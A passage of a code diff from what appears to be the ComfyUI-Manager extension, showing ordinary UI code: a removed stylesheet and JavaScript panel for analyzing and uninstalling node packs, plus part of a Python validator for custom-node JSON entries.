graphData.extra.groupNodes[component_name] = component;
}
}
}
}
else {
console.log('Empty components: policy ignored');
}
arguments[0] = graphData;
return await loadGraphData.apply(this, arguments);
};
export function set_component_policy(v) {
current_component_policy = v;
}
let graphToPrompt = app.graphToPrompt;
app.graphToPrompt = async function () {
let p = await graphToPrompt.apply(app, arguments);
try {
let groupNodes = p.workflow.extra?.groupNodes;
if(groupNodes) {
p.workflow.extra = { ... p.workflow.extra};
// get used group nodes
let used_group_nodes = new Set();
for(let node of p.workflow.nodes) {
if(node.type.startsWith(`workflow/`) || node.type.startsWith(`workflow${SEPARATOR}`)) {
used_group_nodes.add(node.type.substring(9));
}
}
// remove unused group nodes
let new_groupNodes = {};
for (let key in p.workflow.extra.groupNodes) {
if (used_group_nodes.has(key)) {
new_groupNodes[key] = p.workflow.extra.groupNodes[key];
}
}
p.workflow.extra.groupNodes = new_groupNodes;
}
}
catch(e) {
console.log(`Failed to filtering group nodes: ${e}`);
}
return p;
}
-699
View File
@@ -1,699 +0,0 @@
.nu-manager {
--grid-font: -apple-system, BlinkMacSystemFont, "Segue UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";
z-index: 1099;
width: 80%;
height: 80%;
display: flex;
flex-direction: column;
gap: 10px;
color: var(--fg-color);
font-family: arial, sans-serif;
text-underline-offset: 3px;
outline: none;
}
.nu-manager .nu-flex-auto {
flex: auto;
}
.nu-manager button {
font-size: 16px;
color: var(--input-text);
background-color: var(--comfy-input-bg);
border-radius: 8px;
border-color: var(--border-color);
border-style: solid;
margin: 0;
padding: 4px 8px;
min-width: 100px;
}
.nu-manager button:disabled,
.nu-manager input:disabled,
.nu-manager select:disabled {
color: gray;
}
.nu-manager button:disabled {
background-color: var(--comfy-input-bg);
}
.nu-manager .nu-manager-restart {
display: none;
background-color: #500000;
color: white;
}
.nu-manager .nu-manager-stop {
display: none;
background-color: #500000;
color: white;
}
.nu-manager .nu-manager-back {
align-items: center;
justify-content: center;
}
.arrow-icon {
height: 1em;
width: 1em;
margin-right: 5px;
transform: translateY(2px);
}
.cn-icon {
display: block;
width: 16px;
height: 16px;
}
.cn-icon svg {
display: block;
margin: 0;
pointer-events: none;
}
.nu-manager-header {
display: flex;
flex-wrap: wrap;
gap: 5px;
align-items: center;
padding: 0 5px;
}
.nu-manager-header label {
display: flex;
gap: 5px;
align-items: center;
}
.nu-manager-filter {
height: 28px;
line-height: 28px;
}
.nu-manager-keywords {
height: 28px;
line-height: 28px;
padding: 0 5px 0 26px;
background-size: 16px;
background-position: 5px center;
background-repeat: no-repeat;
background-image: url("data:image/svg+xml;charset=utf8,%3Csvg%20viewBox%3D%220%200%2024%2024%22%20width%3D%22100%25%22%20height%3D%22100%25%22%20pointer-events%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill%3D%22none%22%20stroke%3D%22%23888%22%20stroke-linecap%3D%22round%22%20stroke-linejoin%3D%22round%22%20stroke-width%3D%222%22%20d%3D%22m21%2021-4.486-4.494M19%2010.5a8.5%208.5%200%201%201-17%200%208.5%208.5%200%200%201%2017%200%22%2F%3E%3C%2Fsvg%3E");
}
.nu-manager-status {
padding-left: 10px;
}
.nu-manager-grid {
flex: auto;
border: 1px solid var(--border-color);
overflow: hidden;
position: relative;
}
.nu-manager-selection {
display: flex;
flex-wrap: wrap;
gap: 10px;
align-items: center;
}
.nu-manager-message {
position: relative;
}
.nu-manager-footer {
display: flex;
flex-wrap: wrap;
gap: 10px;
align-items: center;
}
.nu-manager-grid .tg-turbogrid {
font-family: var(--grid-font);
font-size: 15px;
background: var(--bg-color);
}
.nu-manager-grid .tg-turbogrid .tg-highlight::after {
position: absolute;
top: 0;
left: 0;
content: "";
display: block;
width: 100%;
height: 100%;
box-sizing: border-box;
background-color: #80bdff11;
pointer-events: none;
}
.nu-manager-grid .nu-pack-name a {
color: skyblue;
text-decoration: none;
word-break: break-word;
}
.nu-manager-grid .cn-pack-desc a {
color: #5555FF;
font-weight: bold;
text-decoration: none;
}
.nu-manager-grid .tg-cell a:hover {
text-decoration: underline;
}
.nu-manager-grid .cn-pack-version {
line-height: 100%;
display: flex;
flex-direction: column;
justify-content: center;
height: 100%;
gap: 5px;
}
.nu-manager-grid .cn-pack-nodes {
line-height: 100%;
display: flex;
flex-direction: column;
justify-content: center;
gap: 5px;
cursor: pointer;
height: 100%;
}
.nu-manager-grid .cn-pack-nodes:hover {
text-decoration: underline;
}
.nu-manager-grid .cn-pack-conflicts {
color: orange;
}
.cn-popover {
position: fixed;
z-index: 10000;
padding: 20px;
color: #1e1e1e;
filter: drop-shadow(1px 5px 5px rgb(0 0 0 / 30%));
overflow: hidden;
}
.cn-flyover {
position: absolute;
top: 0;
right: 0;
z-index: 1000;
display: none;
width: 50%;
height: 100%;
background-color: var(--comfy-menu-bg);
animation-duration: 0.2s;
animation-fill-mode: both;
flex-direction: column;
}
.cn-flyover::before {
position: absolute;
top: 0;
content: "";
z-index: 10;
display: block;
width: 10px;
height: 100%;
pointer-events: none;
left: -10px;
background-image: linear-gradient(to left, rgb(0 0 0 / 20%), rgb(0 0 0 / 0%));
}
.cn-flyover-header {
height: 45px;
display: flex;
align-items: center;
gap: 5px;
border-bottom: 1px solid var(--border-color);
}
.cn-flyover-close {
display: flex;
align-items: center;
padding: 0 10px;
justify-content: center;
cursor: pointer;
opacity: 0.8;
height: 100%;
}
.cn-flyover-close:hover {
opacity: 1;
}
.cn-flyover-close svg {
display: block;
margin: 0;
pointer-events: none;
width: 20px;
height: 20px;
}
.cn-flyover-title {
display: flex;
align-items: center;
font-weight: bold;
gap: 10px;
flex: auto;
}
.cn-flyover-body {
height: calc(100% - 45px);
overflow-y: auto;
position: relative;
background-color: var(--comfy-menu-secondary-bg);
}
@keyframes cn-slide-in-right {
from {
visibility: visible;
transform: translate3d(100%, 0, 0);
}
to {
transform: translate3d(0, 0, 0);
}
}
.cn-slide-in-right {
animation-name: cn-slide-in-right;
}
@keyframes cn-slide-out-right {
from {
transform: translate3d(0, 0, 0);
}
to {
visibility: hidden;
transform: translate3d(100%, 0, 0);
}
}
.cn-slide-out-right {
animation-name: cn-slide-out-right;
}
.cn-nodes-list {
width: 100%;
}
.cn-nodes-row {
display: flex;
align-items: center;
gap: 10px;
}
.cn-nodes-row:nth-child(odd) {
background-color: rgb(0 0 0 / 5%);
}
.cn-nodes-row:hover {
background-color: rgb(0 0 0 / 10%);
}
.cn-nodes-sn {
text-align: right;
min-width: 35px;
color: var(--drag-text);
flex-shrink: 0;
font-size: 12px;
padding: 8px 5px;
}
.cn-nodes-name {
cursor: pointer;
white-space: nowrap;
flex-shrink: 0;
position: relative;
padding: 8px 5px;
}
.cn-nodes-name::after {
content: attr(action);
position: absolute;
pointer-events: none;
top: 50%;
left: 100%;
transform: translate(5px, -50%);
font-size: 12px;
color: var(--drag-text);
background-color: var(--comfy-input-bg);
border-radius: 10px;
border: 1px solid var(--border-color);
padding: 3px 8px;
display: none;
}
.cn-nodes-name.action::after {
display: block;
}
.cn-nodes-name:hover {
text-decoration: underline;
}
.cn-nodes-conflict .cn-nodes-name,
.cn-nodes-conflict .cn-icon {
color: orange;
}
.cn-conflicts-list {
display: flex;
flex-wrap: wrap;
gap: 5px;
align-items: center;
padding: 5px 0;
}
.cn-conflicts-list b {
font-weight: normal;
color: var(--descrip-text);
}
.cn-nodes-pack {
cursor: pointer;
color: skyblue;
}
.cn-nodes-pack:hover {
text-decoration: underline;
}
.cn-pack-badge {
font-size: 12px;
font-weight: normal;
background-color: var(--comfy-input-bg);
border-radius: 10px;
border: 1px solid var(--border-color);
padding: 3px 8px;
color: var(--error-text);
}
.cn-preview {
min-width: 300px;
max-width: 500px;
min-height: 120px;
overflow: hidden;
font-size: 12px;
pointer-events: none;
padding: 12px;
color: var(--fg-color);
}
.cn-preview-header {
display: flex;
gap: 8px;
align-items: center;
border-bottom: 1px solid var(--comfy-input-bg);
padding: 5px 10px;
}
.cn-preview-dot {
width: 8px;
height: 8px;
border-radius: 50%;
background-color: grey;
position: relative;
filter: drop-shadow(1px 2px 3px rgb(0 0 0 / 30%));
}
.cn-preview-dot.cn-preview-optional::after {
content: "";
position: absolute;
pointer-events: none;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
background-color: var(--comfy-input-bg);
border-radius: 50%;
width: 3px;
height: 3px;
}
.cn-preview-dot.cn-preview-grid {
border-radius: 0;
}
.cn-preview-dot.cn-preview-grid::before {
content: '';
position: absolute;
border-left: 1px solid var(--comfy-input-bg);
border-right: 1px solid var(--comfy-input-bg);
width: 4px;
height: 100%;
left: 2px;
top: 0;
z-index: 1;
}
.cn-preview-dot.cn-preview-grid::after {
content: '';
position: absolute;
border-top: 1px solid var(--comfy-input-bg);
border-bottom: 1px solid var(--comfy-input-bg);
width: 100%;
height: 4px;
left: 0;
top: 2px;
z-index: 1;
}
.cn-preview-name {
flex: auto;
font-size: 14px;
}
.cn-preview-io {
display: flex;
justify-content: space-between;
padding: 10px 10px;
}
.cn-preview-column > div {
display: flex;
gap: 10px;
align-items: center;
height: 18px;
overflow: hidden;
white-space: nowrap;
text-overflow: ellipsis;
}
.cn-preview-input {
justify-content: flex-start;
}
.cn-preview-output {
justify-content: flex-end;
}
.cn-preview-list {
display: flex;
flex-direction: column;
gap: 3px;
padding: 0 10px 10px 10px;
}
.cn-preview-switch {
position: relative;
display: flex;
justify-content: space-between;
align-items: center;
background: var(--bg-color);
border: 2px solid var(--border-color);
border-radius: 10px;
text-wrap: nowrap;
padding: 2px 20px;
gap: 10px;
}
.cn-preview-switch::before,
.cn-preview-switch::after {
position: absolute;
pointer-events: none;
top: 50%;
transform: translate(0, -50%);
color: var(--fg-color);
opacity: 0.8;
}
.cn-preview-switch::before {
content: "◀";
left: 5px;
}
.cn-preview-switch::after {
content: "▶";
right: 5px;
}
.cn-preview-value {
color: var(--descrip-text);
}
.cn-preview-string {
min-height: 30px;
max-height: 300px;
background: var(--bg-color);
color: var(--descrip-text);
border-radius: 3px;
padding: 3px 5px;
overflow-y: auto;
overflow-x: hidden;
}
.cn-preview-description {
margin: 0px 10px 10px 10px;
padding: 6px;
background: var(--border-color);
color: var(--descrip-text);
border-radius: 5px;
font-style: italic;
word-break: break-word;
}
.cn-tag-list {
display: flex;
flex-wrap: wrap;
gap: 5px;
align-items: center;
margin-bottom: 5px;
}
.cn-tag-list > div {
background-color: var(--border-color);
border-radius: 5px;
padding: 0 5px;
}
.cn-install-buttons {
display: flex;
flex-direction: column;
gap: 3px;
padding: 3px;
align-items: center;
justify-content: center;
height: 100%;
}
.cn-selected-buttons {
display: flex;
gap: 5px;
align-items: center;
padding-right: 20px;
}
.nu-manager .cn-btn-enable {
background-color: #333399;
color: white;
}
.nu-manager .cn-btn-disable {
background-color: #442277;
color: white;
}
.nu-manager .cn-btn-update {
background-color: #1155AA;
color: white;
}
.nu-manager .cn-btn-try-update {
background-color: Gray;
color: white;
}
.nu-manager .cn-btn-try-fix {
background-color: #6495ED;
color: white;
}
.nu-manager .cn-btn-import-failed {
background-color: #AA1111;
font-size: 10px;
font-weight: bold;
color: white;
}
.nu-manager .cn-btn-install {
background-color: black;
color: white;
}
.nu-manager .cn-btn-try-install {
background-color: Gray;
color: white;
}
.nu-manager .cn-btn-uninstall {
background-color: #993333;
color: white;
}
.nu-manager .cn-btn-reinstall {
background-color: #993333;
color: white;
}
.nu-manager .cn-btn-switch {
background-color: #448833;
color: white;
}
@keyframes nu-btn-loading-bg {
0% {
left: 0;
}
100% {
left: -105px;
}
}
.nu-manager button.nu-btn-loading {
position: relative;
overflow: hidden;
border-color: rgb(0 119 207 / 80%);
background-color: var(--comfy-input-bg);
}
.nu-manager button.nu-btn-loading::after {
position: absolute;
top: 0;
left: 0;
content: "";
width: 500px;
height: 100%;
background-image: repeating-linear-gradient(
-45deg,
rgb(0 119 207 / 30%),
rgb(0 119 207 / 30%) 10px,
transparent 10px,
transparent 15px
);
animation: nu-btn-loading-bg 2s linear infinite;
}
.nu-manager-light .nu-pack-name a {
color: blue;
}
.nu-manager-light .cm-warn-note {
background-color: #ccc !important;
}
.nu-manager-light .cn-btn-install {
background-color: #333;
}
-742
View File
@@ -1,742 +0,0 @@
import { app } from "../../scripts/app.js";
import { $el } from "../../scripts/ui.js";
import {
manager_instance,
fetchData, md5, show_message, customAlert, infoToast, showTerminal,
storeColumnWidth, restoreColumnWidth, loadCss, uninstallNodes,
analyzeWorkflowUsage, sizeToBytes, createFlyover, createUIStateManager
} from "./common.js";
import { api } from "../../scripts/api.js";
// https://cenfun.github.io/turbogrid/api.html
import TG from "./turbogrid.esm.js";
loadCss("./node-usage-analyzer.css");
const gridId = "model";
const pageHtml = `
<div class="nu-manager-header">
<div class="nu-manager-status"></div>
<input type="text" class="nu-manager-keywords" placeholder="Filter keywords..." />
<div class="nu-flex-auto"></div>
</div>
<div class="nu-manager-grid"></div>
<div class="nu-manager-selection"></div>
<div class="nu-manager-message"></div>
<div class="nu-manager-footer">
<button class="nu-manager-back">
<svg class="arrow-icon" width="14" height="14" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M2 8H18M2 8L8 2M2 8L8 14" stroke="white" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
Back
</button>
<button class="nu-manager-refresh">Refresh</button>
<button class="nu-manager-stop">Stop</button>
<div class="nu-flex-auto"></div>
</div>
`;
export class NodeUsageAnalyzer {
static instance = null;
static SortMode = {
BY_PACKAGE: 'by_package'
};
constructor(app, manager_dialog) {
this.app = app;
this.manager_dialog = manager_dialog;
this.id = "nu-manager";
this.filter = '';
this.type = '';
this.base = '';
this.keywords = '';
this.init();
// Initialize shared UI state manager
this.ui = createUIStateManager(this.element, {
selection: ".nu-manager-selection",
message: ".nu-manager-message",
status: ".nu-manager-status",
refresh: ".nu-manager-refresh",
stop: ".nu-manager-stop"
});
api.addEventListener("cm-queue-status", this.onQueueStatus);
}
init() {
this.element = $el("div", {
parent: document.body,
className: "comfy-modal nu-manager"
});
this.element.innerHTML = pageHtml;
this.bindEvents();
this.initGrid();
}
bindEvents() {
const eventsMap = {
".nu-manager-selection": {
click: (e) => {
const target = e.target;
const mode = target.getAttribute("mode");
if (mode === "install") {
this.installModels(this.selectedModels, target);
} else if (mode === "uninstall") {
this.uninstallModels(this.selectedModels, target);
}
}
},
".nu-manager-refresh": {
click: () => {
app.refreshComboInNodes();
}
},
".nu-manager-stop": {
click: () => {
api.fetchApi('/manager/queue/reset');
infoToast('Cancel', 'Remaining tasks will stop after completing the current task.');
}
},
".nu-manager-back": {
click: (e) => {
this.close()
manager_instance.show();
}
}
};
Object.keys(eventsMap).forEach(selector => {
const target = this.element.querySelector(selector);
if (target) {
const events = eventsMap[selector];
if (events) {
Object.keys(events).forEach(type => {
target.addEventListener(type, events[type]);
});
}
}
});
}
// ===========================================================================================
initGrid() {
const container = this.element.querySelector(".nu-manager-grid");
const grid = new TG.Grid(container);
this.grid = grid;
this.flyover = createFlyover(container, { context: this });
grid.bind('onUpdated', (e, d) => {
this.ui.showStatus(`${grid.viewRows.length.toLocaleString()} installed packages`);
});
grid.bind('onSelectChanged', (e, changes) => {
this.renderSelected();
});
grid.bind("onColumnWidthChanged", (e, columnItem) => {
storeColumnWidth(gridId, columnItem)
});
grid.bind('onClick', (e, d) => {
const { rowItem } = d;
const target = d.e.target;
const mode = target.getAttribute("mode");
if (mode === "install") {
this.installModels([rowItem], target);
return;
}
if (mode === "uninstall") {
this.uninstallModels([rowItem], target);
return;
}
// Handle click on usage count
if (d.columnItem.id === "used_in_count" && rowItem.used_in_count > 0) {
this.showUsageDetails(rowItem);
return;
}
});
grid.setOption({
theme: 'dark',
selectVisible: true,
selectMultiple: true,
selectAllVisible: true,
textSelectable: true,
scrollbarRound: true,
frozenColumn: 1,
rowNotFound: "No Results",
rowHeight: 40,
bindWindowResize: true,
bindContainerResize: true,
cellResizeObserver: (rowItem, columnItem) => {
const autoHeightColumns = ['name', 'description'];
return autoHeightColumns.includes(columnItem.id)
}
});
}
renderGrid() {
// update theme
const colorPalette = this.app.ui.settings.settingsValues['Comfy.ColorPalette'];
Array.from(this.element.classList).forEach(cn => {
if (cn.startsWith("nu-manager-")) {
this.element.classList.remove(cn);
}
});
this.element.classList.add(`nu-manager-${colorPalette}`);
const options = {
theme: colorPalette === "light" ? "" : "dark"
};
const rows = this.modelList || [];
const columns = [{
id: 'title',
name: 'Title',
width: 200,
minWidth: 100,
maxWidth: 500,
classMap: 'nu-pack-name',
formatter: function (name, rowItem, columnItem, cellNode) {
return `<a href=${rowItem.reference} target="_blank"><b>${name}</b></a>`;
}
}, {
id: 'used_in_count',
name: 'Used in',
width: 100,
formatter: function (usedCount, rowItem, columnItem) {
if (!usedCount || usedCount === 0) {
return '0';
}
const plural = usedCount > 1 ? 's' : '';
return `<div class="cn-pack-nodes" style="cursor: pointer;">${usedCount} workflow${plural}</div>`;
}
}, {
id: 'action',
name: 'Action',
width: 160,
minWidth: 140,
maxWidth: 200,
sortable: false,
align: 'center',
formatter: function (action, rowItem, columnItem) {
// Only show uninstall button for installed packages
if (rowItem.originalData && rowItem.originalData.state && rowItem.originalData.state !== "not-installed") {
return `<div class="cn-install-buttons"><button class="nu-btn-uninstall" mode="uninstall">Uninstall</button></div>`;
}
return '';
}
}];
restoreColumnWidth(gridId, columns);
this.grid.setData({
options,
rows,
columns
});
this.grid.render();
}
updateGrid() {
if (this.grid) {
this.grid.update();
}
}
showUsageDetails(rowItem) {
const workflowList = rowItem.workflowDetails;
if (!workflowList || workflowList.length === 0) {
return;
}
let titleHtml = `<div class="cn-nodes-pack">${rowItem.title}</div>`;
const list = [];
list.push(`<div class="cn-nodes-list">`);
workflowList.forEach((workflow, i) => {
list.push(`<div class="cn-nodes-row">`);
list.push(`<div class="cn-nodes-sn">${i + 1}</div>`);
list.push(`<div class="cn-nodes-name">${workflow.filename}</div>`);
list.push(`<div class="cn-nodes-details">${workflow.nodeCount} node${workflow.nodeCount > 1 ? 's' : ''}</div>`);
list.push(`</div>`);
});
list.push("</div>");
const bodyHtml = list.join("");
this.flyover.show(titleHtml, bodyHtml);
}
renderSelected() {
const selectedList = this.grid.getSelectedRows();
if (!selectedList.length) {
this.ui.showSelection("");
return;
}
const installedSelected = selectedList.filter(item =>
item.originalData && item.originalData.state && item.originalData.state !== "not-installed"
);
if (installedSelected.length === 0) {
this.ui.showSelection(`<span>Selected <b>${selectedList.length}</b> packages (none can be uninstalled)</span>`);
return;
}
this.selectedModels = installedSelected;
this.ui.showSelection(`
<div class="nu-selected-buttons">
<span>Selected <b>${installedSelected.length}</b> installed packages</span>
<button class="nu-btn-uninstall" mode="uninstall">Uninstall Selected</button>
</div>
`);
}
// ===========================================================================================
async installModels(list, btn) {
let stats = await api.fetchApi('/manager/queue/status');
stats = await stats.json();
if (stats.is_processing) {
customAlert(`[ComfyUI-Manager] There are already tasks in progress. Please try again after it is completed. (${stats.done_count}/${stats.total_count})`);
return;
}
btn.classList.add("nu-btn-loading");
this.ui.showError("");
let needRefresh = false;
let errorMsg = "";
await api.fetchApi('/manager/queue/reset');
let target_items = [];
for (const item of list) {
this.grid.scrollRowIntoView(item);
target_items.push(item);
this.ui.showStatus(`Install ${item.name} ...`);
const data = item.originalData;
data.ui_id = item.hash;
const res = await api.fetchApi(`/manager/queue/install_model`, {
method: 'POST',
body: JSON.stringify(data)
});
if (res.status != 200) {
errorMsg = `'${item.name}': `;
if (res.status == 403) {
errorMsg += `This action is not allowed with this security level configuration.\n`;
} else {
errorMsg += await res.text() + '\n';
}
break;
}
}
this.install_context = { btn: btn, targets: target_items };
if (errorMsg) {
this.ui.showError(errorMsg);
show_message("[Installation Errors]\n" + errorMsg);
// reset
for (let k in target_items) {
const item = target_items[k];
this.grid.updateCell(item, "installed");
}
}
else {
await api.fetchApi('/manager/queue/start');
this.ui.showStop();
showTerminal();
}
}
async uninstallModels(list, btn) {
btn.classList.add("nu-btn-loading");
this.ui.showError("");
const result = await uninstallNodes(list, {
title: list.length === 1 ? list[0].title || list[0].name : `${list.length} custom nodes`,
channel: 'default',
mode: 'default',
onProgress: (msg) => {
this.showStatus(msg);
},
onError: (errorMsg) => {
this.showError(errorMsg);
},
onSuccess: (targets) => {
this.showStatus(`Uninstalled ${targets.length} custom node(s) successfully`);
this.showMessage(`To apply the uninstalled custom nodes, please restart ComfyUI and refresh browser.`, "red");
// Update the grid to reflect changes
for (let item of targets) {
if (item.originalData) {
item.originalData.state = "not-installed";
}
this.grid.updateRow(item);
}
}
});
if (result.success) {
this.showStop();
}
btn.classList.remove("nu-btn-loading");
}
async onQueueStatus(event) {
let self = NodeUsageAnalyzer.instance;
if (event.detail.status == 'in_progress' && (event.detail.ui_target == 'model_manager' || event.detail.ui_target == 'nodepack_manager')) {
const hash = event.detail.target;
const item = self.grid.getRowItemBy("hash", hash);
if (item) {
item.refresh = true;
self.grid.setRowSelected(item, false);
item.selectable = false;
self.grid.updateRow(item);
}
}
else if (event.detail.status == 'done') {
self.hideStop();
self.onQueueCompleted(event.detail);
}
}
async onQueueCompleted(info) {
let result = info.model_result || info.nodepack_result;
if (!result || result.length == 0) {
return;
}
let self = NodeUsageAnalyzer.instance;
if (!self.install_context) {
return;
}
let btn = self.install_context.btn;
self.hideLoading();
btn.classList.remove("nu-btn-loading");
let errorMsg = "";
for (let hash in result) {
let v = result[hash];
if (v != 'success' && v != 'skip')
errorMsg += v + '\n';
}
for (let k in self.install_context.targets) {
let item = self.install_context.targets[k];
if (info.model_result) {
self.grid.updateCell(item, "installed");
} else if (info.nodepack_result) {
// Handle uninstall completion
if (item.originalData) {
item.originalData.state = "not-installed";
}
self.grid.updateRow(item);
}
}
if (errorMsg) {
self.showError(errorMsg);
show_message("Operation Error:\n" + errorMsg);
} else {
if (info.model_result) {
self.showStatus(`Install ${Object.keys(result).length} models successfully`);
self.showRefresh();
self.showMessage(`To apply the installed model, please click the 'Refresh' button.`, "red");
} else if (info.nodepack_result) {
self.showStatus(`Uninstall ${Object.keys(result).length} custom node(s) successfully`);
self.showMessage(`To apply the uninstalled custom nodes, please restart ComfyUI and refresh browser.`, "red");
}
}
infoToast('Tasks done', `[ComfyUI-Manager] All tasks in the queue have been completed.\n${info.done_count}/${info.total_count}`);
self.install_context = undefined;
}
getModelList(models) {
const typeMap = new Map();
const baseMap = new Map();
models.forEach((item, i) => {
const { type, base, name, reference, installed } = item;
// CRITICAL FIX: Do NOT overwrite originalData - it contains the needed state field!
item.size = sizeToBytes(item.size);
item.hash = md5(name + reference);
if (installed === "True") {
item.selectable = false;
}
typeMap.set(type, type);
baseMap.set(base, base);
});
const typeList = [];
typeMap.forEach(type => {
typeList.push({
label: type,
value: type
});
});
typeList.sort((a, b) => {
const au = a.label.toUpperCase();
const bu = b.label.toUpperCase();
if (au !== bu) {
return au > bu ? 1 : -1;
}
return 0;
});
this.typeList = [{
label: "All",
value: ""
}].concat(typeList);
const baseList = [];
baseMap.forEach(base => {
baseList.push({
label: base,
value: base
});
});
baseList.sort((a, b) => {
const au = a.label.toUpperCase();
const bu = b.label.toUpperCase();
if (au !== bu) {
return au > bu ? 1 : -1;
}
return 0;
});
this.baseList = [{
label: "All",
value: ""
}].concat(baseList);
return models;
}
// ===========================================================================================
async loadData() {
this.showLoading();
this.showStatus(`Analyzing node usage ...`);
const mode = manager_instance.datasrc_combo.value;
const nodeListRes = await fetchData(`/customnode/getlist?mode=${mode}&skip_update=true`);
if (nodeListRes.error) {
this.showError("Failed to get custom node list.");
this.hideLoading();
return;
}
const { channel, node_packs } = nodeListRes.data;
delete node_packs['comfyui-manager'];
this.installed_custom_node_packs = node_packs;
// Use the consolidated workflow analysis utility
const result = await analyzeWorkflowUsage(node_packs);
if (!result.success) {
if (result.error.toString().includes('204')) {
this.showMessage("No workflows were found for analysis.");
} else {
this.showError(result.error);
this.hideLoading();
return;
}
}
// Transform node_packs into models format - ONLY INSTALLED PACKAGES
const models = [];
Object.keys(node_packs).forEach((packKey, index) => {
const pack = node_packs[packKey];
// Only include installed packages (filter out "not-installed" packages)
if (pack.state === "not-installed") {
return; // Skip non-installed packages
}
const usedCount = result.usageMap?.get(packKey) || 0;
const workflowDetails = result.workflowDetailsMap?.get(packKey) || [];
models.push({
title: pack.title || packKey,
reference: pack.reference || pack.files?.[0] || '#',
used_in_count: usedCount,
workflowDetails: workflowDetails,
name: packKey,
originalData: pack
});
});
// Sort by usage count (descending) then by title
models.sort((a, b) => {
if (b.used_in_count !== a.used_in_count) {
return b.used_in_count - a.used_in_count;
}
return a.title.localeCompare(b.title);
});
this.modelList = this.getModelList(models);
this.renderGrid();
this.hideLoading();
}
// ===========================================================================================
showSelection(msg) {
this.element.querySelector(".nu-manager-selection").innerHTML = msg;
}
showError(err) {
this.showMessage(err, "red");
}
showMessage(msg, color) {
if (color) {
msg = `<font color="${color}">${msg}</font>`;
}
this.element.querySelector(".nu-manager-message").innerHTML = msg;
}
showStatus(msg, color) {
if (color) {
msg = `<font color="${color}">${msg}</font>`;
}
this.element.querySelector(".nu-manager-status").innerHTML = msg;
}
showLoading() {
// this.setDisabled(true);
if (this.grid) {
this.grid.showLoading();
this.grid.showMask({
opacity: 0.05
});
}
}
hideLoading() {
// this.setDisabled(false);
if (this.grid) {
this.grid.hideLoading();
this.grid.hideMask();
}
}
setDisabled(disabled) {
const $close = this.element.querySelector(".nu-manager-close");
const $refresh = this.element.querySelector(".nu-manager-refresh");
const $stop = this.element.querySelector(".nu-manager-stop");
const list = [
".nu-manager-header input",
".nu-manager-header select",
".nu-manager-footer button",
".nu-manager-selection button"
].map(s => {
return Array.from(this.element.querySelectorAll(s));
})
.flat()
.filter(it => {
return it !== $close && it !== $refresh && it !== $stop;
});
list.forEach($elem => {
if (disabled) {
$elem.setAttribute("disabled", "disabled");
} else {
$elem.removeAttribute("disabled");
}
});
Array.from(this.element.querySelectorAll(".nu-btn-loading")).forEach($elem => {
$elem.classList.remove("nu-btn-loading");
});
}
showRefresh() {
this.element.querySelector(".nu-manager-refresh").style.display = "block";
}
showStop() {
this.element.querySelector(".nu-manager-stop").style.display = "block";
}
hideStop() {
this.element.querySelector(".nu-manager-stop").style.display = "none";
}
setKeywords(keywords = "") {
this.keywords = keywords;
this.element.querySelector(".nu-manager-keywords").value = keywords;
}
show(sortMode) {
this.element.style.display = "flex";
this.setKeywords("");
this.showSelection("");
this.showMessage("");
this.loadData();
}
close() {
this.element.style.display = "none";
}
}
+16 -255
View File
@@ -1,264 +1,25 @@
#!/usr/bin/env python3
"""JSON Entry Validator
Validates JSON entries based on content structure.
Validation rules based on JSON content:
- {"custom_nodes": [...]}: Validates required fields (author, title, reference, files, install_type, description)
- {"models": [...]}: Validates JSON syntax only (no required fields)
- Other JSON structures: Validates JSON syntax only
Git repository URL validation (for custom_nodes):
1. URLs must NOT end with .git
2. URLs must follow format: https://github.com/{author}/{reponame}
3. .py and .js files are exempt from this check
Supported formats:
- Array format: [{...}, {...}]
- Object format: {"custom_nodes": [...]} or {"models": [...]}
"""
import json
import re
import sys
from pathlib import Path
from typing import Dict, List, Tuple
import argparse
# Required fields for each entry type
REQUIRED_FIELDS_CUSTOM_NODE = ['author', 'title', 'reference', 'files', 'install_type', 'description']
REQUIRED_FIELDS_MODEL = [] # model-list.json doesn't require field validation
# Pattern for valid GitHub repository URL (without .git suffix)
GITHUB_REPO_PATTERN = re.compile(r'^https://github\.com/[^/]+/[^/]+$')
def get_entry_context(entry: Dict) -> str:
"""Get identifying information from entry for error messages
Args:
entry: JSON entry
Returns:
String with author and reference info
"""
parts = []
if 'author' in entry:
parts.append(f"author={entry['author']}")
if 'reference' in entry:
parts.append(f"ref={entry['reference']}")
if 'title' in entry:
parts.append(f"title={entry['title']}")
if parts:
return " | ".join(parts)
else:
# No identifying info - show actual entry content (truncated)
import json
entry_str = json.dumps(entry, ensure_ascii=False)
if len(entry_str) > 100:
entry_str = entry_str[:100] + "..."
return f"content={entry_str}"
def validate_required_fields(entry: Dict, entry_index: int, required_fields: List[str]) -> List[str]:
"""Validate that all required fields are present
Args:
entry: JSON entry to validate
entry_index: Index of entry in array (for error reporting)
required_fields: List of required field names
Returns:
List of error descriptions (without entry prefix/context)
"""
errors = []
for field in required_fields:
if field not in entry:
errors.append(f"Missing required field '{field}'")
elif entry[field] is None:
errors.append(f"Field '{field}' is null")
elif isinstance(entry[field], str) and not entry[field].strip():
errors.append(f"Field '{field}' is empty")
elif field == 'files' and not entry[field]: # Empty array
errors.append("Field 'files' is empty array")
return errors
def validate_git_repo_urls(entry: Dict, entry_index: int) -> List[str]:
"""Validate git repository URLs in 'files' array
Requirements:
- Git repo URLs must NOT end with .git
- Must follow format: https://github.com/{author}/{reponame}
- .py and .js files are exempt
Args:
entry: JSON entry to validate
entry_index: Index of entry in array (for error reporting)
Returns:
List of error descriptions (without entry prefix/context)
"""
errors = []
if 'files' not in entry or not isinstance(entry['files'], list):
return errors
for file_url in entry['files']:
if not isinstance(file_url, str):
continue
# Skip .py and .js files - they're exempt from git repo validation
if file_url.endswith('.py') or file_url.endswith('.js'):
continue
# Check if it's a GitHub URL (likely a git repo)
if 'github.com' in file_url:
# Error if URL ends with .git
if file_url.endswith('.git'):
errors.append(f"Git repo URL must NOT end with .git: {file_url}")
continue
# Validate format: https://github.com/{author}/{reponame}
if not GITHUB_REPO_PATTERN.match(file_url):
errors.append(f"Invalid git repo URL format (expected https://github.com/author/reponame): {file_url}")
return errors
def validate_entry(entry: Dict, entry_index: int, required_fields: List[str]) -> List[str]:
"""Validate a single JSON entry
Args:
entry: JSON entry to validate
